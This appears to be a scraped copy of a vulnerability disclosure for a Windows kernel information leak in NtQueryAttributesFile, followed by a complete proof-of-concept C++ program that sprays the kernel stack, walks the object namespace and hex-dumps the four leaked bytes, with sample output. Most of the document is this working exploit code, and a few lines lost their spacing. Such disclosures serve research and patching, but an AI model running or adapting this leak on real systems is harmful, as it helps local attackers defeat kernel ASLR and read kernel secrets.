扫码分享
验证：
体验盒子/*
We have discovered that the nt!NtQueryAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:
--- cut ---
"\ArcName\multi(0)disk(0)rdisk(0)partition(1)"
"\GLOBAL??\Harddisk0Partition1"
"\GLOBAL??\Volume{GUID}"
"\GLOBAL??\SystemPartition"
"\GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}"
"\GLOBAL??\HarddiskVolume1"
"\Device\SystemPartition"
"\Device\HarddiskVolume1"
--- cut ---
The output structure returned by the system call is FILE_BASIC_INFORMATION [1]:
--- cut ---
typedef struct _FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
--- cut ---
In case of the above affected paths, the 4-byte "FileAttributes" field is never initialized. As the kernel uses a temporary copy of the structure that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:
--- cut ---
Name: \ArcName\multi(0)disk(0)rdisk(0)partition(1), Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \GLOBAL??\Harddisk0Partition1, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \GLOBAL??\Volume{GUID}, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \GLOBAL??\SystemPartition, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \GLOBAL??\HarddiskVolume1, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \Device\SystemPartition, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
Name: \Device\HarddiskVolume1, Status: c000000d
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
#define DIRECTORY_QUERY0x0001
#define DIRECTORY_TRAVERSE 0x0002
typedef struct _FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
typedef struct _OBJECT_DIRECTORY_INFORMATION {
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
extern "C" {
NTSTATUS NTAPI NtQueryAttributesFile(
_In_POBJECT_ATTRIBUTESObjectAttributes,
_Out_ PFILE_BASIC_INFORMATION FileInformation
);
NTSTATUS WINAPI NtQueryDirectoryObject(
_In_HANDLEDirectoryHandle,
_Out_opt_ PVOID Buffer,
_In_ULONG Length,
_In_BOOLEAN ReturnSingleEntry,
_In_BOOLEAN RestartScan,
_Inout_ PULONGContext,
_Out_opt_ PULONGReturnLength
);
NTSTATUS WINAPI NtOpenDirectoryObject(
_Out_ PHANDLEDirectoryHandle,
_In_ACCESS_MASKDesiredAccess,
_In_POBJECT_ATTRIBUTES ObjectAttributes
);
};
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(NTAPI *EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
OBJECT_ATTRIBUTES Attributes;
UNICODE_STRING Name;
RtlInitUnicodeString(&Name, Path);
InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);
FILE_BASIC_INFORMATION FileInformation, EmptyInformation;
RtlZeroMemory(&FileInformation, sizeof(FileInformation));
RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));
SprayKernelStack();
NTSTATUS Status = NtQueryAttributesFile(&Attributes, &FileInformation);
if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
wprintf(L"Name: %s, Status: %x\n", Path, Status);
PrintHex(&FileInformation, sizeof(FileInformation));
}
}
VOID EnumerateDirectory(PWCHAR path) {
HANDLE hdir = NULL;
OBJECT_ATTRIBUTES attrs;
UNICODE_STRING name;
RtlInitUnicodeString(&name, path);
InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);
if (NT_SUCCESS(st)) {
CONST ULONG kMaxBufferSize = 128 * 1024;
PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);
ULONG Context;
st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
if (NT_SUCCESS(st)) {
POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
while (pdi->Name.Buffer != NULL) {
WCHAR path_buffer[MAX_PATH];
if (!wcscmp(path, L"\\")) {
wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
}
else {
wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
}
if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
EnumerateDirectory(path_buffer);
}
else {
QueryFile(NULL, path_buffer);
wcscat_s(path_buffer, L"\\");
QueryFile(NULL, path_buffer);
}
pdi++;
}
}
free(buffer);
NtClose(hdir);
}
}
int main() {
EnumerateDirectory(L"\\");
return 0;
}
体验盒子
